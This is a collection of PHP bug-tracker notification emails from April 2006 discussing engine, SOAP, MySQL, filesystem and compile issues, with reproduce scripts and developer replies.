#37046 [Asn-Csd]: foreach breaks static scope (works in 5.1)

2006-04-13 Thread dmitry
 ID:   37046
 Updated by:   [EMAIL PROTECTED]
 Reported By:  karoly at negyesi dot net
-Status:   Assigned
+Status:   Closed
 Bug Type: Scripting Engine problem
 Operating System: Linux
 PHP Version:  4CVS-2006-04-12
 Assigned To:  dmitry
 New Comment:

Fixed in PHP_4_4 too.


Previous Comments:


[2006-04-12 21:57:06] [EMAIL PROTECTED]

Dmitry, please also fix this in PHP 4.4.



[2006-04-12 14:07:26] karoly at negyesi dot net

Please fix in 4.x, too. Thanks.



[2006-04-12 11:38:58] [EMAIL PROTECTED]

Fixed in CVS HEAD and PHP_5_1.



[2006-04-12 10:35:21] [EMAIL PROTECTED]

The simplified example:

Reproduce code:
---
?php
function s() {
  static $storage = array(array('x', 'y'));
  return $storage[0];
}

foreach (s('a') as $k = $function) {
  echo op1 $k\n;
  if ($k == 0) {
foreach (s('a') as $k = $function) {
  echo op2 $k\n;
}
  }
}
?
Expected result:

op1 0
op2 0
op2 1
op1 1

Actual result:
--
op1 0
op2 0
op2 1

The bug is similar to bug #35106 (nested foreach fails when array
variable has a reference), but has different reason.




[2006-04-12 00:08:05] karoly at negyesi dot net

I thought best is if I provide one script...
?php
function s($key) {
  static $storage = array('a' = array('x', 'y'));
  return $storage[$key];
}
function s1($key) {
  static $storage = array('a' = array('x', 'y'));
  return (array)$storage[$key];
}
function s2() {
  static $storage = array('x', 'y');
  return $storage;
}
function invoke($op, $st) {
  foreach ($st('a') as $k = $function) {
echo $op $k\n;
$function($op, $st);
  }
}
function x($op, $st) {
  if ($op == 'op1') invoke('op2', $st);
}
function y() {
}
invoke('op1', 's');
echo \n;
invoke('op1', 's1');
echo \n;
invoke('op1', 's2');
?
You get

op1 0
op2 0
op2 1

op1 0
op2 0
op2 1
op1 1

op1 0
op2 0
op2 1
op1 1

if this is not a bug then why they differ?



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/37046

-- 
Edit this bug report at http://bugs.php.net/?id=37046edit=1


#37044 [Fbk-Opn]: MKDIR fails if GID differs

2006-04-13 Thread dim at dvisionfactory dot com
 ID:   37044
 User updated by:  dim at dvisionfactory dot com
 Reported By:  dim at dvisionfactory dot com
-Status:   Feedback
+Status:   Open
 Bug Type: Directory function related
 Operating System: FreeBSD
 PHP Version:  4.4.2
 New Comment:

It is a production server! I cannot just switch to PHP5! Any other
suggestions?


Previous Comments:


[2006-04-12 14:44:48] [EMAIL PROTECTED]

Please try using this CVS snapshot:

  http://snaps.php.net/php5.1-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php5.1-win32-latest.zip





[2006-04-12 08:26:22] [EMAIL PROTECTED]

Works perfectly fine here.



[2006-04-12 08:00:36] dim at dvisionfactory dot com

I've added clearstatcache() after chgrp(..)!
Now filegroup() produces the right output, but it hasn't solved my
problem.


Output of the script:

SUCCESS, 16888, 80, 80
FAIL, 16888, 80, 1005
SUCCESS, 16888, 80, 80
SUCCESS, 1688, 80, 80



[2006-04-11 18:39:42] [EMAIL PROTECTED]

What if you call clearstatcache() between chgrp() and filegroup() calls
?



[2006-04-11 18:32:00] dim at dvisionfactory dot com

Description:

MKDIR has a strange behaviour. In my case, I tried to the following:

- Create a directory A
- Change group of A
- Create directory B which is a sub-directory of A - ERROR

I wrote a test case. 
The strange thing: 
I create directory A by mkdir('A'); and I change it's group by
chgrp('A', 'some_user');. fileowner('A'); return as expected '80' which
is the user 'www', but filegroup('A') also returns '80', although it
should be '1005' (='some_user'). If I now try an 'ls -l' in a shell I
get www:some_user, which indicates that chgrp('A', 'some_user'); was
successfull.



Reproduce code:
---
function mk_dir($dir, $ch_grp = true) {
  mkdir($dir);
  if (!is_dir($dir)) {
echo 'FAIL';
  } else {
chmod($dir, 504);
if ($ch_grp) chgrp($dir, 'some_user');
echo 'SUCCESS';
echo ', ' . fileperms($dir);
echo ', ' . fileowner($dir);
echo ', ' . filegroup($dir);
  }
}


mk_dir('/var/www/directory/test1');
// OUTPUT: SUCCESS, 16877, 80, 80
mk_dir('/var/www/directory/test1/test2');
// OUTPUT: FAIL, 16877, 80, 80
rmdir('/var/www/directory/test1/test2'); // CLEAN UP
rmdir('/var/www/directory/test1');   // CLEAN UP

mk_dir('/var/www/directory/test1', false);
// OUTPUT: SUCCESS, 16877, 80, 80
mk_dir('/var/www/directory/test1/test2', false);
// OUTPUT: SUCCESS, 16877, 80, 80
rmdir('/var/www/directory/test1/test2'); // CLEAN UP
rmdir('/var/www/directory/test1');   // CLEAN UP







-- 
Edit this bug report at http://bugs.php.net/?id=37044edit=1


#33595 [Com]: recursive references leak memory

2006-04-13 Thread seufert at gmail dot com
 ID:   33595
 Comment by:   seufert at gmail dot com
 Reported By:  rodricg at sellingsource dot com
 Status:   Assigned
 Bug Type: Class/Object related
 Operating System: *
 PHP Version:  6CVS-2005-08-02
 Assigned To:  dmitry
 New Comment:

I have been experiencing this problem. Unfortunately i have an
application which relies heavily on a class-driver arrangement where
both the class and the driver class need a reference to each other. I
was wondering if we could have a way of getting an uncounted reference
to the object to pass to the child? So the child would have a reference
to the parent, but it would not be counted, and therefore when all
external references to the parent are removed/unset, the parent will
GC, and then the child will be freed as usual.

Is this a workable solution? Even just a reference count decrement
would work. Not a perfect solution, but it would solve calling
descructors all the time.


Previous Comments:


[2006-02-22 15:12:21] K dot Londenberg at librics dot de

The problem with circular references is a known weakness of reference
counting schemes. Python uses a workaround (cycle detector). 

Excerpt from
http://wingware.com/psupport/python-manual/2.4/ext/refcounts.html:


While Python uses the traditional reference counting implementation, it
also offers a cycle detector that works to detect reference cycles. This
allows applications to not worry about creating direct or indirect
circular references; these are the weakness of garbage collection
implemented using only reference counting. Reference cycles consist of
objects which contain (possibly indirect) references to themselves, so
that each object in the cycle has a reference count which is non-zero.
Typical reference counting implementations are not able to reclaim the
memory belonging to any objects in a reference cycle, or referenced
from the objects in the cycle, even though there are no further
references to the cycle itself. 

Maybe this would also be a viable Strategy for PHP..



[2006-01-19 10:31:05] letssurf at gmail dot com

Thank you for your solution. It's the same path we had taken here. We
had created a kill() method to do the same job. Shame it hasn't been
fixed.

Thank you again :)



[2006-01-17 19:08:55] rodricg at sellingsource dot com

You can avoid the memory leak by manually calling the destructors and
unsetting the recursive ref:

?php
class A {
function __construct () {
$this-b = new B($this);
}
function __destruct () {
$this-b-__destruct();
}
}

class B {
function __construct ($parent = NULL) {
$this-parent = $parent;
}
function __destruct () {
unset($this-parent);
}
}

for ($i = 0 ; $i  100 ; $i++) {
$a = new A();
$a-__destruct();
}

echo number_format(memory_get_usage());
?



[2006-01-17 17:56:50] letssurf at gmail dot com

I agree this is a very annoying bug for large scale projects and should
be fixed or noted in the manual.

What is the best work around for this bug?



[2005-12-05 08:40:36] marek at lewczuk dot com

The bug still exists in 5.1.1. If this cannot be solved in near future
then I think it should be noted somewhere in the manual.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/33595

-- 
Edit this bug report at http://bugs.php.net/?id=33595edit=1


#36862 [Com]: *** glibc detected *** double free or corruption

2006-04-13 Thread israel at ochosting dot com
 ID:   36862
 Comment by:   israel at ochosting dot com
 Reported By:  nick at sterlingintegrated dot com
 Status:   No Feedback
 Bug Type: MySQL related
 Operating System: Fedora Core 3 (FC3)
 PHP Version:  5.1.2
 New Comment:

I had this problem on something similar, It had to do i believe
something with Zend Optimizer, and an extension to Zend Optimizer
(eAccelerator).  A Recompile of the same version of PHP without the
Zend and the Extension allowed our affected pages to work.

I dont have the core dump files.  But this may help someone else get on
the right track.

(PS.. Cpanel/WHM Box, Apache 1.3x, and PHP 4.4.1)


Previous Comments:


[2006-04-03 01:00:05] php-bugs at lists dot php dot net

No feedback was provided for this bug for over a week, so it is
being suspended automatically. If you are able to provide the
information that was originally requested, please do so and change
the status of the bug back to Open.



[2006-03-26 12:36:25] [EMAIL PROTECTED]

Thank you for this bug report. To properly diagnose the problem, we
need a backtrace to see what is happening behind the scenes. To
find out how to generate a backtrace, please read
http://bugs.php.net/bugs-generating-backtrace.php for *NIX and
http://bugs.php.net/bugs-generating-backtrace-win32.php for Win32

Once you have generated a backtrace, please submit it to this bug
report and change the status back to Open. Thank you for helping
us make PHP better.





[2006-03-26 12:19:57] nick at sterlingintegrated dot com

Description:

After an upgrade of MySQL from 3.23 to 4.0, I kept getting
mysql_connect not a valid function call. So I recompiled php.


Then I got a blank scrren on the browser. When run, ~php ./test.php
produces an error message (which can't be seen in the browser). The
solution for me was to export MALLOC_CHECK=0; on the command line, so
glibc stops going crazy then restart httpd. I set this env variable in
my .bash_profile. It seems to work fine so far.

Reproduce code:
---
?php
error_reporting(E_ALL);

$link = mysql_connect('localhost', 'user', 'password');
if (!$link) {
   die('Could not connect: ' . mysql_error());
}
echo 'Connected successfully';
mysql_close($link);
?

Expected result:

Connected successfully

Actual result:
--
*** glibc detected *** double free or corruption





-- 
Edit this bug report at http://bugs.php.net/?id=36862edit=1


#22983 [Com]: Page Cannot Be Displayed

2006-04-13 Thread simon at acquire dot demon dot co dot uk
 ID:   22983
 Comment by:   simon at acquire dot demon dot co dot uk
 Reported By:  luke at cywh dot com
 Status:   No Feedback
 Bug Type: Apache2 related
 Operating System: Windows XP
 PHP Version:  4.3.2-RC
 New Comment:

I found out what the problem was in my case, it wasn't Apache or PHP.

Any page that contains a form which 'POSTS' data to the server causes
the problem.  MSIE does not add pages that are returned to a page as a
result of a POST to the history.  Using the GET method works fine as
expected.

The problem I have is that the GET method is limited to the size of the
URL in that you cannot pass data greater than 256 bytes using the GET
method, so what to do?

This problem is limited to MSIE, Opera and Firefox work fine.


Previous Comments:


[2006-04-12 11:38:00] simon at acquire dot demon dot co dot uk

I have been having a similiar problem however, my findings so far do
not lead me to believe that it is either Apache or PHP that is at
fault.

I have been developing an Intranet using Apache 2.0.53 and PHP 5.0.4

The intranet uses sessions to manage the logins.  The navigation
buttons in IE often do not work and I see the page containing the text
The page cannot be displayed

I've switched on debug level logging in Apache and restarted the
service, nothing is logged when this happens.  I've played with the
cache settings in PHP, but this doesn't help either.

I have found that Opera works perfectly and never falls over.  The
problem is that our Intranet uses OCX objects and XML with XSLT files. 
Opera doesn't support OCX and whilst is does support XML it doesn't
support XSLT.

So I'm scratching my head with this, it could be related to the session
handling, but I really don't know.



[2006-02-12 03:45:00] ViperZeroOne at shaw dot ca

I'm having this EXACT same problem.  It seems that my longer PHP pages
refuse to come up properly.  I've tried the snapshots provided to no
avail.  I'm using Apache2 on Windows XP and the latest PHP download
available.  I should note that small PHP scripts work fine, no issues
at all.  My problem occours when the PHP has to display a large file. 
Here are a couple examples;

EXAMPLE1:  Using a remote file-management system I can view the root of
my hard drive.  I open up my program files folder and it displays.  I
continue to open up folders and the first 2 or 3 may open, but the
second the list gets too long it tosses up a Page Cannot Be Displayed
error.  I can press the back button and it will return to normal, until
I get it to display too many folders again.

EXAMPLE2:  When using a PHP MP3 player I can view the login fine, go
into the program fine, but when I go to view my larger MP3 folder it
tosses up a Page Cannot Be Displayed error.  The smaller MP3 folders,
with the same files but just split up to work around this problem, load
perfectly fine.

EXAMPLE3:  When opening up a PHP program to administrate my MySQL
tables it initially opens fine.  When I select a table and the page
goes to display the information it pops up with a Page Cannot Be
Displayed.

It should be noted that if I have the chance to click the STOP button
on my browser before the error comes up I am able to view a partially
generated page.  Someone told me it could be due to my memory or
timeout settings so I've increased those to attempt to resolve the
issue, however it hasn't fixed it.

Another thing to note is that using any other browsers, example
Firefox, the page loads blank.  Also, when I'm sitting at the computer
that has the webserver running on it everything displays properly as it
should.

Also, it should be noted that I am running it as a module as well as I
have functions, not related to this issue, that will not operate when
it's run as a CGI.



[2003-07-18 18:51:02] [EMAIL PROTECTED]

No feedback was provided. The bug is being suspended because
we assume that you are no longer experiencing the problem.
If this is not the case and you are able to provide the
information that was requested earlier, please do so and
change the status of the bug back to Open. Thank you.





[2003-07-10 23:52:09] [EMAIL PROTECTED]

Please try using this CVS snapshot:

  http://snaps.php.net/php4-STABLE-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php4-win32-STABLE-latest.zip





[2003-05-22 13:59:24] luke at cywh dot com

well right now im running apache 1.3 which seems to be running
perfectly. Ill try version 2.0 again when i upgrade to windows 2003



The remainder of the comments for this report are too long. 

#37054 [Asn-Csd]: SoapClient Error Fetching http headers

2006-04-13 Thread dmitry
 ID:   37054
 Updated by:   [EMAIL PROTECTED]
 Reported By:  gijs at d1 dot nl
-Status:   Assigned
+Status:   Closed
 Bug Type: SOAP related
 Operating System: Debian 3.1
 PHP Version:  5.1.2RC3
 Assigned To:  dmitry
 New Comment:

At first you have typo in WSDL.
http://www.zoekned.nl/test/server.php:80; is not a valid URL. But this
is not important.

The bug occurs because of your HTTP server configuration.
For some reason it respond with the following response and SoapClient
redirects to http://www.sukkel.nl;.

HTTP/1.1 302 Found
Date: Thu, 13 Apr 2006 06:54:04 GMT
Server: Apache/1.3.34 (Unix) PHP/5.1.3RC3 mod_ssl/2.8.25 OpenSSL/0.9.7e
FrontPage/5.0.2.2510
Location: http://www.sukkel.nl
Keep-Alive: timeout=5, max=499
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1

!DOCTYPE HTML PUBLIC -//IETF//DTD HTML 2.0//EN
HTMLHEAD
TITLE302 Found/TITLE
/HEADBODY
H1Found/H1
The document has moved A HREF=http://www.sukkel.nl;here/A.P
HR
ADDRESSApache/1.3.34 Server at www.zoekned.nl Port 80/ADDRESS
/BODY/HTML

Seems this answer occurs because of User-Agent reqest header. I
changed default header PHP-SOAP/php-version to conform HTTP RFC, but
this didn't help. (BTW SOAP/php-version works fine). Probably your web
server configured to respond with this magic answer to requests from
PHP. :)

To make workaround for such servers, I added ability to change
User-Agent HTTP header in HTTP response.
You can do it in SoapClinet constructor:

new SoapClient($wsdl, array(user_agent=some_string));

empty string () will prevent sending of User-Agent server at all.

Fixed in CVS HEAD and PHP_5_0.


Previous Comments:


[2006-04-12 17:01:38] [EMAIL PROTECTED]

Assigned to the SOAP maintainer.



[2006-04-12 15:06:13] gijs at d1 dot nl

Sorry, no, it does not run on the latest snapshot.

- Client
http://www.zoekned.nl/test/client.php

- Client Source:
http://www.zoekned.nl/test/client.phps


- Server
http://www.zoekned.nl/test/server.php

- Server Source:
http://www.zoekned.nl/test/server.phps



[2006-04-12 15:02:27] [EMAIL PROTECTED]

Nice, but does the SOAP thing work now?



[2006-04-12 15:00:31] gijs at d1 dot nl

Latest CVS snapshot compiled and running!!
http://www.zoekned.nl/phpinfo.php -- temp file!



[2006-04-12 12:59:57] [EMAIL PROTECTED]

Please try using this CVS snapshot:

  http://snaps.php.net/php5.1-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php5.1-win32-latest.zip





The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/37054

-- 
Edit this bug report at http://bugs.php.net/?id=37054edit=1


#37062 [Opn-Fbk]: can't compile on armv5l due to endianity issues

2006-04-13 Thread tony2001
 ID:   37062
 Updated by:   [EMAIL PROTECTED]
 Reported By:  jan dot rous at matfyz dot cz
-Status:   Open
+Status:   Feedback
 Bug Type: Compile Failure
 Operating System: Linux/Debian
 PHP Version:  5.1.2
 New Comment:

Please send a patch in unified diff format.
And if possible - provide an account on such a rare platform.


Previous Comments:


[2006-04-12 23:52:07] jan dot rous at matfyz dot cz

Description:

Compilation on little endian arm (armv5l, XScale) fails on
Zend/zend_strtod.c due to IEEE_LITTLE_ENDIAN and IEE_BIG_ENDIAN both
being defined:

defines come from Zend/zend_strtod.c:
120 #ifdef WORDS_BIGENDIAN
121 #define IEEE_BIG_ENDIAN
122 #else
123 #define IEEE_LITTLE_ENDIAN
124 #endif
...
126 #if defined(__arm__)  !defined(__VFP_FP__)
127 /*
128  * Although the CPU is little endian the FP has different
129  * byte and word endianness. The byte order is still little
endian
130  * but the word order is big endian.
131  */
132 #define IEEE_BIG_ENDIAN
133 #endif

and result with errors later on:
238 #if defined(IEEE_LITTLE_ENDIAN) + defined(IEEE_BIG_ENDIAN) +
defined(VAX) + \
239 defined(IBM) != 1
240 Exactly one of IEEE_LITTLE_ENDIAN IEEE_BIG_ENDIAN, VAX, or
241 IBM should be defined.
242 #endif


1. such invalid state should be reported using #warning,#error
directives. Writing it this way gives ugly errors:

/root/php5-5.1.2.debpkg/Zend/zend_strtod.c:240: error: syntax error
before one
/root/php5-5.1.2.debpkg/Zend/zend_strtod.c:241: error: syntax error
before IBM
/root/php5-5.1.2.debpkg/Zend/zend_strtod.c:247: error: syntax error
before '}' token
/root/php5-5.1.2.debpkg/Zend/zend_strtod.c:247: warning: data
definition has no type or storage class
/root/php5-5.1.2.debpkg/Zend/zend_strtod.c: In function `ulp':
/root/php5-5.1.2.debpkg/Zend/zend_strtod.c:935: error: syntax error
before x
...

2. commenting out offending section with #warning compilation went
without errors.
make test had some failures, but their relation to this is uncertain.

3. as i've looked through the code, I've noticed that although both
IEEE_BIG_ENDIAN IEEE_LITTLE_ENDIAN are defined, 
#if defined(LITTLE_ENDIAN) ... #else ... #endif
are used for decisions. 

Under the light of these observations I find lines 126-133 useless on
little endian arms without __VFP_FP__ as they only break compilation.








-- 
Edit this bug report at http://bugs.php.net/?id=37062edit=1


#37054 [Csd]: SoapClient Error Fetching http headers

2006-04-13 Thread gijs at d1 dot nl
 ID:   37054
 User updated by:  gijs at d1 dot nl
 Reported By:  gijs at d1 dot nl
 Status:   Closed
 Bug Type: SOAP related
 Operating System: Debian 3.1
-PHP Version:  5.1.2RC3
+PHP Version:  5.1.3RC3
 Assigned To:  dmitry
 New Comment:

Thank you for your quick response! Changing the user agent worked
like you said! Server settings should be changed about now. Problem
apears to be a Apache setting that prevents Web Crawlers, E-mail
harvesters etc. Somehow PHP got filterd out as well.

Cheers! 

Gijs van de Nieuwegiessen 

ps.I'll keep the .php files in the zoekned.nl/test directory up for
historical reasons. Thanks a lot for your help!


Previous Comments:


[2006-04-13 08:21:00] [EMAIL PROTECTED]

At first you have typo in WSDL.
http://www.zoekned.nl/test/server.php:80; is not a valid URL. But this
is not important.

The bug occurs because of your HTTP server configuration.
For some reason it respond with the following response and SoapClient
redirects to http://www.sukkel.nl;.

HTTP/1.1 302 Found
Date: Thu, 13 Apr 2006 06:54:04 GMT
Server: Apache/1.3.34 (Unix) PHP/5.1.3RC3 mod_ssl/2.8.25 OpenSSL/0.9.7e
FrontPage/5.0.2.2510
Location: http://www.sukkel.nl
Keep-Alive: timeout=5, max=499
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1

!DOCTYPE HTML PUBLIC -//IETF//DTD HTML 2.0//EN
HTMLHEAD
TITLE302 Found/TITLE
/HEADBODY
H1Found/H1
The document has moved A HREF=http://www.sukkel.nl;here/A.P
HR
ADDRESSApache/1.3.34 Server at www.zoekned.nl Port 80/ADDRESS
/BODY/HTML

Seems this answer occurs because of User-Agent reqest header. I
changed default header PHP-SOAP/php-version to conform HTTP RFC, but
this didn't help. (BTW SOAP/php-version works fine). Probably your web
server configured to respond with this magic answer to requests from
PHP. :)

To make workaround for such servers, I added ability to change
User-Agent HTTP header in HTTP response.
You can do it in SoapClinet constructor:

new SoapClient($wsdl, array(user_agent=some_string));

empty string () will prevent sending of User-Agent server at all.

Fixed in CVS HEAD and PHP_5_0.



[2006-04-12 17:01:38] [EMAIL PROTECTED]

Assigned to the SOAP maintainer.



[2006-04-12 15:06:13] gijs at d1 dot nl

Sorry, no, it does not run on the latest snapshot.

- Client
http://www.zoekned.nl/test/client.php

- Client Source:
http://www.zoekned.nl/test/client.phps


- Server
http://www.zoekned.nl/test/server.php

- Server Source:
http://www.zoekned.nl/test/server.phps



[2006-04-12 15:02:27] [EMAIL PROTECTED]

Nice, but does the SOAP thing work now?



[2006-04-12 15:00:31] gijs at d1 dot nl

Latest CVS snapshot compiled and running!!
http://www.zoekned.nl/phpinfo.php -- temp file!



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/37054

-- 
Edit this bug report at http://bugs.php.net/?id=37054edit=1


#37066 [NEW]: segfault in zend_assign_to_variable while debugging

2006-04-13 Thread it at absp dot alcatel dot be
From: it at absp dot alcatel dot be
Operating system: Linux  2.6.16-1.2080_FC5
PHP version:  5.1.2
PHP Bug Type: Apache2 related
Bug description:  segfault in zend_assign_to_variable while debugging

Description:

The httpd child crashes whilst stepping through php code using DBG as
debug module.  As soon as the first variable assignment is reached, it
segfaults (11)

DBG php debugger, version 2.16.20, Copyright 2001, 2005 Dmitri Dmitrienko,
http://www.nusphere.com/dbg

Version 2.16.20
Linked  as a shared library.
Dbg securityenabled.
Profilercompiled, enabled
Target PHP version  5.1.2
Server API  Apache 2.0 Handler
Extensions API  220051025
Modules API 20050922
PHP API 20041225



'./configure' '--disable-debug' '--with-pic'
'--with-config-file-scan-dir=/usr/local/etc/php.d' '--disable-rpath'
'--without-pear' '--with-bz2' '--with-curl' '--with-freetype-dir=/usr'
'--with-png-dir=/usr' '--enable-gd-native-ttf' '--without-gdbm'
'--with-gettext' '--with-gmp' '--with-iconv' '--with-jpeg-dir=/usr'
'--with-openssl' '--with-png' '--with-pspell' '--with-expat-dir=/usr'
'--with-pcre-regex=/usr' '--with-zlib' '--with-layout=GNU'
'--enable-dom=shared' '--enable-exif' '--enable-ftp'
'--enable-magic-quotes' '--enable-sockets' '--enable-sysvsem'
'--enable-sysvshm' '--enable-sysvmsg' '--enable-track-vars'
'--enable-trans-sid' '--enable-yp' '--enable-wddx' '--with-kerberos'
'--enable-ucd-snmp-hack' '--with-unixODBC=shared,/usr'
'--enable-memory-limit' '--enable-shmop' '--enable-calendar'
'--enable-dbx' '--enable-dio'
'--with-mime-magic=/usr/local/apache2/conf/magic' '--without-sqlite'
'--with-libxml-dir=/usr' '--with-xml' '--enable-force-cgi-redirect'
'--enable-pcntl' '--with-imap=shared' '--with-imap-ssl'
'--enable-mbstring=shared' '--enable-mbstr-enc-trans' '--enable-mbregex'
'--with-ncurses=shared' '--with-gd=shared' '--enable-bcmath=shared'
'--enable-dba=shared' '--with-db4=/usr' '--with-xmlrpc=shared'
'--with-ldap=shared' '--with-mysql=shared,/usr'
'--with-mysqli=shared,/usr/bin/mysql_config' '--with-dom-xslt=/usr'
'--with-dom-exslt=/usr}' '--with-pgsql=shared' '--with-snmp=shared,/usr'
'--enable-soap=shared' '--with-xsl=shared,/usr'
'--enable-xmlreader=shared' '--enable-xmlwriter=shared' '--enable-fastcgi'
'--enable-pdo=shared' '--with-pdo-odbc=shared,unixODBC,/usr'
'--with-pdo-mysql=shared,/usr' '--with-pdo-pgsql=shared,/usr'
'--with-pdo-sqlite=shared,/usr'
'--with-apxs2=/usr/local/apache2/bin/apxs'


Reproduce code:
---
?php
print(this works);
echo and this;
$error=segfault when here;
?

Expected result:

Stepping till end.

Actual result:
--
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1208199504 (LWP 13969)]
0x01188435 in zend_assign_to_variable (result=0x909bcd0, op1=0x909bce4,
op2=0x909bcf8, value=0x909bcfc, type=1, Ts=0xbf9e1bf0)
at
/data/misc/download/Download_spool/php-5.1.2/Zend/zend_execute.c:269
269 zval ***ptr = CV_OF(node-u.var);


-- 
Edit bug report at http://bugs.php.net/?id=37066edit=1
-- 
Try a CVS snapshot (PHP 4.4): 
http://bugs.php.net/fix.php?id=37066r=trysnapshot44
Try a CVS snapshot (PHP 5.1): 
http://bugs.php.net/fix.php?id=37066r=trysnapshot51
Try a CVS snapshot (PHP 6.0): 
http://bugs.php.net/fix.php?id=37066r=trysnapshot60
Fixed in CVS: http://bugs.php.net/fix.php?id=37066r=fixedcvs
Fixed in release: 
http://bugs.php.net/fix.php?id=37066r=alreadyfixed
Need backtrace:   http://bugs.php.net/fix.php?id=37066r=needtrace
Need Reproduce Script:http://bugs.php.net/fix.php?id=37066r=needscript
Try newer version:http://bugs.php.net/fix.php?id=37066r=oldversion
Not developer issue:  http://bugs.php.net/fix.php?id=37066r=support
Expected behavior:http://bugs.php.net/fix.php?id=37066r=notwrong
Not enough info:  
http://bugs.php.net/fix.php?id=37066r=notenoughinfo
Submitted twice:  
http://bugs.php.net/fix.php?id=37066r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=37066r=globals
PHP 3 support discontinued:   http://bugs.php.net/fix.php?id=37066r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=37066r=dst
IIS Stability:http://bugs.php.net/fix.php?id=37066r=isapi
Install GNU Sed:  http://bugs.php.net/fix.php?id=37066r=gnused
Floating point limitations:   http://bugs.php.net/fix.php?id=37066r=float
No Zend Extensions:   http://bugs.php.net/fix.php?id=37066r=nozend
MySQL Configuration Error:http://bugs.php.net/fix.php?id=37066r=mysqlcfg


#37066 [Opn-Bgs]: segfault in zend_assign_to_variable while debugging

2006-04-13 Thread johannes
 ID:   37066
 Updated by:   [EMAIL PROTECTED]
 Reported By:  it at absp dot alcatel dot be
-Status:   Open
+Status:   Bogus
 Bug Type: Apache2 related
 Operating System: Linux  2.6.16-1.2080_FC5
 PHP Version:  5.1.2
 New Comment:

Do not file bugs when you have Zend extensions (zend_extension=)
loaded. Examples are Zend Optimizer, Zend Debugger, Turck MM Cache,
APC, Xdebug and ionCube loader.  These extensions often modify engine
behavior which is not related to PHP itself.

Please report this to the authors of the Debugger.


Previous Comments:


[2006-04-13 09:03:38] it at absp dot alcatel dot be

Description:

The httpd child crashes whilst stepping through php code using DBG as
debug module.  As soon as the first variable assignment is reached, it
segfaults (11)

DBG php debugger, version 2.16.20, Copyright 2001, 2005 Dmitri
Dmitrienko, http://www.nusphere.com/dbg

Version 2.16.20
Linked  as a shared library.
Dbg securityenabled.
Profilercompiled, enabled
Target PHP version  5.1.2
Server API  Apache 2.0 Handler
Extensions API  220051025
Modules API 20050922
PHP API 20041225



'./configure' '--disable-debug' '--with-pic'
'--with-config-file-scan-dir=/usr/local/etc/php.d' '--disable-rpath'
'--without-pear' '--with-bz2' '--with-curl' '--with-freetype-dir=/usr'
'--with-png-dir=/usr' '--enable-gd-native-ttf' '--without-gdbm'
'--with-gettext' '--with-gmp' '--with-iconv' '--with-jpeg-dir=/usr'
'--with-openssl' '--with-png' '--with-pspell' '--with-expat-dir=/usr'
'--with-pcre-regex=/usr' '--with-zlib' '--with-layout=GNU'
'--enable-dom=shared' '--enable-exif' '--enable-ftp'
'--enable-magic-quotes' '--enable-sockets' '--enable-sysvsem'
'--enable-sysvshm' '--enable-sysvmsg' '--enable-track-vars'
'--enable-trans-sid' '--enable-yp' '--enable-wddx' '--with-kerberos'
'--enable-ucd-snmp-hack' '--with-unixODBC=shared,/usr'
'--enable-memory-limit' '--enable-shmop' '--enable-calendar'
'--enable-dbx' '--enable-dio'
'--with-mime-magic=/usr/local/apache2/conf/magic' '--without-sqlite'
'--with-libxml-dir=/usr' '--with-xml' '--enable-force-cgi-redirect'
'--enable-pcntl' '--with-imap=shared' '--with-imap-ssl'
'--enable-mbstring=shared' '--enable-mbstr-enc-trans'
'--enable-mbregex' '--with-ncurses=shared' '--with-gd=shared'
'--enable-bcmath=shared' '--enable-dba=shared' '--with-db4=/usr'
'--with-xmlrpc=shared' '--with-ldap=shared' '--with-mysql=shared,/usr'
'--with-mysqli=shared,/usr/bin/mysql_config' '--with-dom-xslt=/usr'
'--with-dom-exslt=/usr}' '--with-pgsql=shared'
'--with-snmp=shared,/usr' '--enable-soap=shared'
'--with-xsl=shared,/usr' '--enable-xmlreader=shared'
'--enable-xmlwriter=shared' '--enable-fastcgi' '--enable-pdo=shared'
'--with-pdo-odbc=shared,unixODBC,/usr' '--with-pdo-mysql=shared,/usr'
'--with-pdo-pgsql=shared,/usr' '--with-pdo-sqlite=shared,/usr'
'--with-apxs2=/usr/local/apache2/bin/apxs'


Reproduce code:
---
?php
print(this works);
echo and this;
$error=segfault when here;
?

Expected result:

Stepping till end.

Actual result:
--
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1208199504 (LWP 13969)]
0x01188435 in zend_assign_to_variable (result=0x909bcd0,
op1=0x909bce4,
op2=0x909bcf8, value=0x909bcfc, type=1, Ts=0xbf9e1bf0)
at
/data/misc/download/Download_spool/php-5.1.2/Zend/zend_execute.c:269
269 zval ***ptr = CV_OF(node-u.var);






-- 
Edit this bug report at http://bugs.php.net/?id=37066edit=1


#37066 [Bgs]: segfault in zend_assign_to_variable while debugging

2006-04-13 Thread it at absp dot alcatel dot be
 ID:   37066
 User updated by:  it at absp dot alcatel dot be
 Reported By:  it at absp dot alcatel dot be
 Status:   Bogus
 Bug Type: Apache2 related
 Operating System: Linux  2.6.16-1.2080_FC5
 PHP Version:  5.1.2
 New Comment:

Placed this bug on advice of the author debugger.

[quote]
thanks for the back trace.
It's clear that it's Zend crashed:
#0 zend_assign_to_variable() in
/usr/src/debug/php-5.1.2/Zend/zend_execute.c
execution reached this point from Apache and DBG is not involved
anyways.

I'd recommend you submit bug in http://bugs.php.net/
They will be happy to see backtrace too.

Seems im in the ping pong game.

Thanks anyway


Previous Comments:


[2006-04-13 09:10:33] [EMAIL PROTECTED]

Do not file bugs when you have Zend extensions (zend_extension=)
loaded. Examples are Zend Optimizer, Zend Debugger, Turck MM Cache,
APC, Xdebug and ionCube loader.  These extensions often modify engine
behavior which is not related to PHP itself.

Please report this to the authors of the Debugger.



[2006-04-13 09:03:38] it at absp dot alcatel dot be

Description:

The httpd child crashes whilst stepping through php code using DBG as
debug module.  As soon as the first variable assignment is reached, it
segfaults (11)

DBG php debugger, version 2.16.20, Copyright 2001, 2005 Dmitri
